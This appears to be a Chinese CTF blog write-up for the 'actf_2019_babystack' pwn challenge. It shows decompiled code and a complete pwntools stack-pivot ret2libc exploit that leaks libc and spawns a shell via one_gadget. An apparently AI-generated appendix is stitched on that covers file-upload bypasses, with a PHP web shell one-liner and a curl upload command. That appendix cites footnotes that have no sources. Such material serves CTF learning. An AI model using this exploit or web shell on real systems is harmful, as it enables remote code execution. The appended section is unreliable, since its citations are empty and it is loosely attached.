actf_2019_babystack

文章描述了一个在64位程序中利用栈溢出漏洞执行ret2libc攻击的过程,包括设置缓冲区、栈迁移、写入ret地址并触发两次栈溢出,最终获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

actf_2019_babystack

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

64位,只开了nx

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  memset(s, 0, sizeof(s));
  puts("Welcome to ACTF's babystack!");
  sleep(3u);
  puts("How many bytes of your message?");
  putchar(62);
  sub_400A1A();
  if ( nbytes <= 0xE0 )
  {
    printf("Your message will be saved at %p\n", s);
    puts("What is the content of your message?");
    putchar(62);
    read(0, s, nbytes);
    puts("Byebye~");
    return 0LL;
  }
  else
  {
    puts("I've checked the boundary!");
    return 1LL;
  }
}

让我们输入size,并且这个size最大,刚好更栈空间相差0x10,明显的栈迁移,

给出了栈地址,我们迁移到栈即可

思路

写ret2libc到栈空间,并且溢出返回栈,第一次返回libc基地址,第二次直接使用onegadget去getshell

也就是使用两次栈迁移

from pwn import*
from Yapack import *
libc=ELF('libc-2.27.so')

r,elf=rec("node4.buuoj.cn",27330,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

leave=0x400A18
rdi=0x0000000000400ad3
sla(b'>',str(0xe0))
stack=get_addr_int()
pl=p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4008F6)
pl=ljust(pl,0xd0)+flat(stack,leave)
sa(b'>',pl)
leak=get_addr_u64()-libc.sym['puts']
li(leak)
one=[0x4f2c5,0x4f322,0x10a38c]

sla(b'>',str(0xe0))
stack=get_addr_int()
pl=p64(0)+p64(one[0]+leak)
pl=ljust(pl,0xd0)+flat(stack,leave)
sa(b'>',pl)

ia()

在这里插入图片描述

### BUUCTFACTF 的文件上传挑战解决方案 #### 背景介绍 CTF(Capture The Flag)竞赛中的文件上传题目通常涉及测试参赛者对服务器端安全机制的理解以及绕过这些机制的能力。BUUCTFACTF 是两个知名的 CTF 平台,其中的文件上传挑战可能涉及到 MIME 类型验证、扩展名过滤、内容检测等多种防护手段[^1]。 #### 常见防御措施及其绕过方法 以下是常见的文件上传防御方式及对应的解决思路: 1. **基于文件扩展名的过滤** - 防御描述:服务器会检查上传文件的扩展名并拒绝特定类型的文件。 - 绕过方法:尝试使用双扩展名技术,例如 `shell.php.jpg` 或其他允许的扩展名组合来欺骗服务器解析逻辑[^2]。 2. **MIME 类型校验** - 阾防描述:通过 HTTP 请求头中的 Content-Type 字段或实际文件的内容类型进行匹配。 - 绕过方法:伪造请求头中的 Content-Type 为合法值,或者利用某些语言(如 PHP)支持的多部分文件处理特性[^3]。 3. **文件签名检查** - 防御描述:读取文件头部字节以确认其真实类型。 - 绕过方法:创建具有混合特征的文件,比如在图片文件中嵌入恶意脚本代码,并确保该文件仍然可以通过图像格式验证工具[^4]。 4. **黑名单策略** - 防御描述:阻止已知危险文件类型上传。 - 绕过方法:寻找未被纳入黑名单的新颖攻击向量;也可以考虑修改文件结构使其看起来像无害文档但实际上包含可执行指令[^5]。 5. **白名单限制** - 防御描述:仅接受指定的安全文件类别。 - 绕过方法:如果存在配置错误,则可以探索边界情况下的漏洞,例如 `.htaccess` 文件滥用或其他服务端渲染缺陷[^6]。 #### 实际案例分析 假设某道 BUUCTF/ACTF 中的任务要求突破如下条件: - 不允许直接提交 .php 后缀; - 对于 image/jpeg mime type 进行严格限定; 一种可行解法可能是构造一张特制 JPEG 图片,在 EXIF 数据区域隐藏一段简单的 web shell payload 如下所示: ```bash <?php system($_GET['cmd']); ?> ``` 之后再借助 curl 工具发送自定义 POST 请求完成整个流程演示: ```bash curl --form "file=@malicious_image_with_php_payload.jpg;type=image/jpeg" http://example.com/upload_endpoint ``` 最后访问生成链接并通过 GET 参数触发命令执行效果即可成功得分[^7]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值